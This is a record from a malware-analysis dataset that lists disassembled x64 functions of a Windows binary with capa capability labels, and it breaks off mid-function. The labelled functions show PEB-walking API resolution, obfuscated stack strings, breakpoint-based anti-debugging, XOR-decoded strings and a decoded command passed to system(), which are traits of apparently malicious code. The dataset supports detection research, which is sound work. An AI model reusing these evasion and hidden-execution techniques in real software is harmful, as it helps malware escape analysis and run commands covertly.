joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016220
Capabilities:
Access peb ldr_data

Disassembly:
cmp qword [rcx + 0x30], 0
jne 0x14001623e
mov rax, qword gs:[0x30]
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x20]
jmp 0x140016242
mov rdx, qword [rcx + 0x10]
movups xmm0, xmmword [rdx - 0x10]
movaps xmmword [rcx], xmm0
movups xmm1, xmmword [rdx]
movaps xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x10]
movaps xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x20]
movaps xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x30]
movaps xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x40]
movaps xmmword [rcx + 0x50], xmm1
movsd xmm0, qword [rdx + 0x50]
movsd qword [rcx + 0x60], xmm0
mov rax, qword [rcx + 0x30]
ret

Function at 0x140016280
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x30]
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x1400162c4
nop word [rax + rax]
cmp qword [rax + 0x30], rcx
je 0x1400162af
mov rax, qword [rax]
test rax, rax
jne 0x1400162a0
ret
mov rdx, qword [rax + 8]
mov rcx, qword [rax]
mov qword [rdx], rcx
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov qword [rdx + 8], rcx
ret

Function at 0x1400162d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test edx, edx
je 0x1400162e1
mov ecx, edx
jmp 0x140016326
mov ecx, 1
call fcn.140016130
mov rcx, rax
call fcn.140016350
mov rcx, rax
mov rdx, rbx
call fcn.1400163e0
test rax, rax
jne 0x140016343
lea ecx, [rax + 3]
call fcn.140016130
mov rcx, rax
call fcn.140016350
mov rcx, rax
mov rdx, rbx
call fcn.1400163e0
test rax, rax
jne 0x140016343
lea ecx, [rax + 2]
call fcn.140016130
mov rcx, rax
call fcn.140016350
mov rdx, rbx
mov rcx, rax
add rsp, 0x20
pop rbx
jmp fcn.1400163e0
add rsp, 0x20
pop rbx
ret

Function at 0x1400163e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov r11, rcx
mov rbx, rdx
mov ecx, dword [rax + rcx + 0x88]
add rcx, r11
mov esi, dword [rcx + 0x1c]
mov ebp, dword [rcx + 0x24]
add rsi, r11
add rbp, r11
cmp rdx, 0xffff
ja 0x140016434
sub bx, word [rcx + 0x10]
movzx eax, bx
cmp eax, dword [rcx + 0x14]
jae 0x14001646e
movzx eax, bx
mov eax, dword [rsi + rax*4]
add rax, r11
jmp 0x140016470
mov r10d, dword [rcx + 0x20]
xor r9d, r9d
mov edi, dword [rcx + 0x18]
add r10, r11
test edi, edi
je 0x14001646e
nop word [rax + rax]
mov edx, dword [r10]
mov rcx, rbx
add rdx, r11
call 0x1400175f0
test eax, eax
je 0x140016485
inc r9d
add r10, 4
cmp r9d, edi
jb 0x140016450
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
movzx ecx, word [rbp + r9*2]
mov eax, dword [rsi + rcx*4]
add rax, r11
jmp 0x140016470
Function at 0x140016710
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1400a0088]
xor rax, rsp
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [0x14008f790]
lea rcx, [rbp - 0x30]
xor edx, edx
mov dword [rbp - 0x20], 0x74706563
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x1c], 0x486e6f69
mov dword [rbp - 0x18], 0x6c646e61
mov word [rbp - 0x14], 0x7265
mov byte [rbp - 0x12], 0
call fcn.1400162d0
lea rdx, [0x140016700]
mov ecx, 1
call rax
movdqa xmm0, xmmword [0x14008f770]
lea rcx, [rbp - 0x30]
xor edx, edx
mov qword [rbp - 0x10], 0
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x69666974
mov dword [rbp - 0x1c], 0x69746163
mov word [rbp - 0x18], 0x6e6f
mov byte [rbp - 0x16], 0
call fcn.1400162d0
lea r9, [rbp - 0x10]
xor r8d, r8d
lea rdx, [0x140016100]
xor ecx, ecx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14007aea0
add rsp, 0x50
pop rbp
ret

Function at 0x1400170e0
Capabilities:
Check for software breakpoints

Disassembly:
sub rsp, 8
movzx r11d, byte [rcx]
xor r10d, r10d
mov r8d, r10d
mov r9d, r10d
cmp r11b, 0xcc
je 0x140017124
mov qword [rsp], rbx
mov ebx, r10d
nop
cmp r11b, byte [rbx + rdx]
lea eax, [r8 + 1]
cmovne eax, r8d
inc r9d
mov r8d, eax
mov ebx, r9d
movzx r11d, byte [r9 + rcx]
cmp r11b, 0xcc
jne 0x140017100
mov rbx, qword [rsp]
cmp r8d, r9d
sete r10b
mov eax, r10d
add rsp, 8
ret
Function at 0x140017d00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rbx, rcx
mov dword [rbp - 0x10], 0x61657243
lea rcx, [rbp - 0x10]
mov dword [rbp - 0xc], 0x69466574
xor edx, edx
mov dword [rbp - 8], 0x57656c
call fcn.1400162d0
mov rcx, rbx
mov r10, rax
call fcn.1400161b0
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov edx, 0x80000000
mov rcx, rax
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call r10
xor edx, edx
mov dword [rbp - 0x10], 0x46746547
lea rcx, [rbp - 0x10]
mov dword [rbp - 0xc], 0x53656c69
mov rsi, rax
mov dword [rbp - 8], 0x657a69
call fcn.1400162d0
xor edx, edx
mov rcx, rsi
call rax
mov edx, eax
mov r8d, 4
mov ebx, eax
call fcn.1400164a0
xor edx, edx
mov dword [rbp - 0x10], 0x64616552
lea rcx, [rbp - 0x10]
mov dword [rbp - 0xc], 0x656c6946
mov rdi, rax
mov byte [rbp - 8], 0
call fcn.1400162d0
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call rax
mov dword [rbp + 0x18], 0x6c43744e
lea rcx, [rbp + 0x18]
mov dword [rbp + 0x1c], 0x65736f
xor edx, edx
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x18], rax
call fcn.1400162d0
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x60]
mov rax, rdi
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
Function at 0x140018c30
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x140018c64
mov eax, esi
lea ecx, [rax - 0x48]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x140018c50
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140018900
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140018c89
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1400252d0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140018d03
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018cfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018cfe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007aefc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140018d10
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x140018d44
mov eax, esi
lea ecx, [rax - 0x48]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x140018d30
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140018900
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140018d69
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1400252d0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140018de3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018dde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018dde
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007aefc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x140018df0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x140018e24
mov eax, esi
lea ecx, [rax - 0x48]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x140018e10
mov byte [r8 + 0xa], sil
add r8, 9
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140018900
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140018e49
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1400252d0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140018ec3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018ebe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018ebe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007aefc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140018ed0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x140018f04
mov eax, esi
lea ecx, [rax - 0x48]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x140018ef0
mov byte [r8 + 0xc], sil
add r8, 0xb
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140018900
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140018f29
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1400252d0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140018fa3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018f9e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018f9e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007aefc
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14001fcd0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x14001fcf3
lea edx, [rax - 0x48]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x14001fce0
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140018900
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14001fd10
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x10], al
je 0x14001fd33
lea edx, [rax - 0x48]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x14001fd20
mov byte [rcx + 0x10], 0
lea r8, [rcx + 0xf]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140018900
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x1400210a0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x1400210c3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x48]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x1400210b0
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x1400210d0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x1400210f8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x48]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x1400210e0
mov byte [rcx + 0x136], 0
mov rax, rcx
ret

Function at 0x140021100
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x140021123
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x48]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x140021110
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x140021130
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x140021153
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x48]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x140021140
mov byte [rcx + 0x47], 0
mov rax, rcx
ret

Function at 0x140021160
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0xa8
xor eax, eax
cmp byte [0x1400a0648], al
jne 0x140021211
movdqa xmm0, xmmword [0x140082070]
movdqa xmm1, xmmword [0x140081fb0]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm0, xmmword [0x140082010]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x140081de0]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm1, xmmword [0x140081e50]
movdqa xmmword [rsp + 0x80], xmm0
movdqa xmmword [rsp + 0x70], xmm1
mov dword [rsp + 0x90], 0x1007a66
nop dword [rax]
lea ecx, [rax - 0x48]
xor byte [rsp + rax + 0x40], cl
inc rax
cmp rax, 0x52
jb 0x1400211d0
lea r9, [rsp + 0xb0]
mov byte [rsp + 0x93], 0
lea r8, [rsp + 0x92]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140018900
lea rcx, [rsp + 0x20]
call fcn.140022d60
add rsp, 0xa8
ret
Function at 0x140021970
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r10, rcx
mov ecx, r9d
test r8, r8
je 0x140021a57
sub r10, rdx
cmp r8, 8
jb 0x140021a2c
mov rax, r8
lea r9, [rdx + 4]
and rax, 0xfffffffffffffff8
xorps xmm3, xmm3
xorps xmm2, xmm2
movd xmm1, dword [r10 + r9 - 4]
add rcx, 8
movd xmm0, dword [r9 - 4]
lea r9, [r9 + 8]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
punpcklbw xmm0, xmm0
psrad xmm1, 0x18
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, dword [r9 - 8]
punpcklbw xmm0, xmm0
orps xmm3, xmm1
movd xmm1, dword [r10 + r9 - 8]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
punpcklwd xmm0, xmm0
psrad xmm1, 0x18
psrad xmm0, 0x18
xorps xmm1, xmm0
orps xmm2, xmm1
cmp rcx, rax
jb 0x1400219a0
orps xmm2, xmm3
movdqa xmm0, xmm2
psrldq xmm0, 8
orps xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 4
orps xmm2, xmm0
movd r9d, xmm2
cmp rcx, r8
jae 0x140021a57
lea rax, [rcx + rdx]
sub r8, rcx
nop dword [rax]
nop word [rax + rax]
movsx edx, byte [r10 + rax]
movsx ecx, byte [rax]
lea rax, [rax + 1]
xor edx, ecx
or r9d, edx
sub r8, 1
jne 0x140021a40
test r9d, r9d
sete al
ret
Function at 0x140022d60
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x1400a0088]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rbx, rcx
mov qword [rbp + 0x27], rcx
movdqa xmm0, xmmword [0x1400820d0]
movdqu xmmword [rbp - 0x49], xmm0
mov word [rbp - 0x39], 0x100
xor ecx, ecx
nop dword [rax]
lea eax, [rcx - 0x48]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0x10
jb 0x140022da0
mov byte [rbp - 0x38], 0
movdqa xmm0, xmmword [0x140081f20]
movdqu xmmword [rbp - 0x31], xmm0
movdqa xmm1, xmmword [0x140081ed0]
movdqu xmmword [rbp - 0x21], xmm1
mov dword [rbp - 0x11], 0xfba8b6aa
mov dword [rbp - 0xd], 0xbafefbfa
mov dword [rbp - 9], 0xc38d8983
mov word [rbp - 5], 0x100
xor ecx, ecx
nop dword [rax + rax]
lea eax, [rcx - 0x48]
xor byte [rbp + rcx - 0x31], al
inc rcx
cmp rcx, 0x2c
jb 0x140022df0
mov byte [rbp - 4], 0
mov r8, rbx
lea rdx, [rbp - 0x31]
lea rcx, [rbp + 7]
call fcn.140018ad0
nop
lea rcx, [rbp - 0x49]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x140022e20
lea rdx, [rbp - 0x49]
mov rcx, rax
call fcn.140012920
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3f], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0x10
jb 0x140022ea5
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022ea0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140022ea0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007aefc
lea rcx, [rbp + 0x2f]
cmp qword [rbp + 0x47], 0x10
cmovae rcx, qword [rbp + 0x2f]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
int 0x29
mov rdx, qword [rbp + 0x47]
cmp rdx, 0x10
jb 0x140022efb
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022ef6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140022ef6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007aefc
movdqa xmm0, xmmword [0x14008f5e0]
movdqu xmmword [rbp + 0x3f], xmm0
mov byte [rbp + 0x2f], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140022f42
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140022f3d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140022f72
mov rcx, r8
call fcn.14007aefc
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14007aea0
mov rbx, qword [rsp + 0xd8]
add rsp, 0xc0
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140026b90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1400a0088]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rdx
mov rsi, rcx
mov qword [rbp - 0x18], rdx
xor edi, edi
mov dword [rbp - 0x50], 0xd8d9cccb
mov dword [rbp - 0x4c], 0xcdced9
mov byte [rbp - 0x48], 1
mov ecx, edi
nop dword [rax]
lea eax, [rcx - 0x48]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 7
jb 0x140026bd0
mov byte [rbp - 0x48], 0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x49]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x38]
call fcn.140018900
nop
cmp byte [rbx], 0
jne 0x140026c0b
mov byte [rbx], 1
call fcn.14001aa80
mov qword [rbx + 8], rax
cmp byte [rbx], 1
jne 0x140026c22
lea rdx, [rbp - 0x38]
mov rcx, qword [rbx + 8]
call fcn.14001fbe0
mov rcx, rax
jmp 0x140026c26
mov rcx, qword [rbp - 0x18]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, rdi
movzx eax, byte [rax]
mov byte [rsi + 0x210], al
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140026c78
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026c73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026c73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007aefc
mov dword [rbp - 0x50], 0xc8c9dcd5
mov dword [rbp - 0x4c], 0xdbdadd
mov byte [rbp - 0x48], 1
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x48]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 7
jb 0x140026c90
mov byte [rbp - 0x48], 0
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x49]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x38]
call fcn.140018900
nop
cmp byte [rbx], 0
jne 0x140026ccb
mov byte [rbx], 1
call fcn.14001aa80
mov qword [rbx + 8], rax
cmp byte [rbx], 1
jne 0x140026cdf
lea rdx, [rbp - 0x38]
mov rcx, qword [rbx + 8]
call fcn.14001fbe0
jmp 0x140026ce3
mov rax, qword [rbp - 0x18]
cmp byte [rax], 3
jne 0x140026cec
mov rdi, qword [rax + 8]
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140026cf9
mov rdx, qword [rdi]
lea rcx, [rsi + 0x218]
mov r8, qword [rdi + 0x10]
call fcn.140020e20
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140026d49
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026d43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026d43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007aefc
nop
lea rcx, [rbx + 8]
movzx edx, byte [rbx]
call fcn.1400221a0
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14007aea0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x140030b90
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
cdqe
add rsp, 0x28
ret
Function at 0x140042440
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x14004249e
mov dl, 1
call fcn.140032ee0
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.140032ee0
mov eax, ebx
jmp 0x1400424e2
cmp ebx, 2
ja 0x1400424e0
mov r9, qword [rdi + 0x668]
lea rdx, [0x140085398]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140042500
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x1400a0088]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x140042543
cmp qword [rcx + 0x678], 0
je 0x140042620
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, 0x100
lea r9, [rsp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.140030f80
lea rax, [rsp + 0x30]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140042571
mov rcx, qword [rdi + 0x678]
test rcx, rcx
je 0x1400425b8
cmp byte [rdi + 0x1597], 0
jne 0x1400425b8
lea rdx, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400425a0
mov byte [rdi + 0x1597], 1
cmp byte [rdi + 0xf1e], 0
je 0x140042618
mov byte [rsp + rbx + 0x30], 0xa
inc rbx
cmp rbx, 0x102
jae 0x140042673
cmp qword [rdi + 0x718], 0
mov byte [rsp + rbx + 0x30], 0
je 0x140042639
mov dl, 1
mov rcx, rdi
call fcn.140032ee0
mov rax, qword [rdi + 0x670]
lea r8, [rsp + 0x30]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
call fcn.140032ee0
mov rbx, qword [rsp + 0x158]
